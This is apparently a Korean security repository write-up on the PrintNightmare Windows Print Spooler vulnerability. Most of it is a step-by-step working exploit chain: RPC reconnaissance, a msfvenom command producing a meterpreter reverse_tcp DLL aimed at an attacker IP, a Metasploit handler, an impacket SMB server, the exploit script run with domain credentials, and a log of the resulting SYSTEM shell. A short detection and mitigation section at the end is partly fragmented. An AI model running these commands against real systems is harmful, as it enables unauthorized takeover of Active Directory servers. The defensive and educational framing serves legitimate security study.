
PrintNightmare(CVE-2021-1675 / CVE-2021-34527)에 대한 기술 문서 및 분석으로, RCE/LPE 악용, Windows 이벤트 로그를 통한 탐지, Print Spooler 완화 방안을 다룹니다.
이 저장소는 Windows 인쇄 스풀러(Print Spooler) 서비스의 치명적인 취약점으로, 낮은 권한의 도메인 사용자가 최고 시스템 권한으로 원격 코드를 실행할 수 있게 하는 개념 증명(Proof of Concept) 악용에 대한 상세한 기술 보고서(Write-up)와 분석을 포함합니다.
🛑 WARNING & DISCLAIMER: 본 자료는 교육 목적 및 합법적인 보안 감사(Pentest) 수행을 위해서만 준비되었습니다. 소유자의 사전 서면 동의 없이 설명된 기술을 시스템에 사용하는 것은 법적으로 처벌받을 수 있습니다.
PrintNightmare 계열 취약점은 Windows Server 및 Active Directory 기반의 기업 환경에 심각한 위협이 됩니다. MS-RPRN(Print System Remote Protocol) 및 MS-PAR(Print System Asynchronous Remote Protocol) RPC 인터페이스의 권한 검사 아키텍처 결함으로 인해 원격 서버에 프린터 드라이버 설치를 합법적으로 요청할 수 있습니다.
가장 큰 위험은 인쇄 스풀러 서비스(spoolsv.exe)가 기본적으로 대부분의 서버(특히 도메인 컨트롤러(Domain Controllers))에서 활성화되어 있으며, 최고 권한인 NT AUTHORITY\SYSTEM 컨텍스트에서 실행된다는 점입니다. 하나의 낮은 권한 계정(예: 피싱을 통한)이 손상되면 공격자는 전체 Active Directory 인프라에 대한 완전한 제어권을 즉시 장악할 수 있습니다.
impacket (rpcdump, smbserver), msfvenom, Metasploit Framework, Python 공격 스크립트.원격 코드 실행(RCE) 벡터를 구현하려면 최소 권한을 가진 유효한 도메인 사용자 자격 증명이 필요합니다(연구 조건에서 제공됨).
spoolsv.exe)가 활성 상태이며 SYSTEM 최고 권한으로 실행 중입니다. 이는 신뢰할 수 없는 라이브러리 로드를 통해 호스트에서 로컬 권한 상승(LPE)을 수행할 수 있는 직접적인 가능성을 열어줍니다.본격적인 악용 코드를 실행하기 전에 원격 머신이 취약한 인쇄 프로토콜을 제공하고 네트워크 통신이 가능한지 확인해야 합니다. 대상 시스템의 RPC 인터페이스를 조사합니다:
impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'
통제된 터미널 출력:
Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]
[MS-RPRN] 및 [MS-PAR] 프로토콜 문자열을 성공적으로 반환했습니다. 이는 시스템이 필요한 원격 인쇄 인터페이스를 지원하며 PrintNightmare 벡터에 취약함을 100% 확인합니다.x64 아키텍처용 페이로드를 생성하고, 역방향 네트워크 연결을 위해 공격자 머신의 IP 주소를 지정합니다:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"
대상 Windows 서버가 제3자 유틸리티 없이 네트워크를 통해 우리 DLL 라이브러리를 다운로드할 수 있는 합법적인 경로를 가져야 합니다. /tmp 폴더에서 SMBv2 프로토콜을 지원하는 SMB 서버를 실행합니다:
sudo impacket-smbserver tmp /tmp -smb2support
Python 공격 스크립트를 실행하고, 낮은 권한의 도메인 사용자 자격 증명과 로컬 SMB 공유에 있는 악성 라이브러리의 UNC 경로를 전달합니다:
python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'
Metasploit 세션 탈취 성공 로그:
[*] Started reverse TCP handler on <ATTACKER_IP>:4444
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
NT AUTHORITY\SYSTEM 상태의 Meterpreter 세션이 열렸습니다. 대상이 완전히 손상되었습니다.Blue Team 전문가의 경우 PrintNightmare 악용 탐지는 Windows 시스템 로그 감사와 비정상적인 프로세스 활동 추적을 기반으로 합니다.
악용이 성공하면 인쇄 및 시스템 로그에 특징적인 기록이 남습니다:
C:\Windows\System32\spool\drivers\x64\3\ 경로)을 확인할 수 있습니다.spoolsv.exe를 부모로 하는 명령줄 프로세스(cmd.exe, powershell.exe) 또는 데이터 수집 유틸리티의 출현. 정상적인 조건에서 spoolsv.exe는 명령 셸을 생성하지 않습니다.spoolsv.exe 프로세스가 드라이버 파일을 다운로드하기 위해 외부 SMB 리소스(포트 445)로 아웃바운드 네트워크 연결을 설정합니다.Disabled 모드로 전환해야 합니다.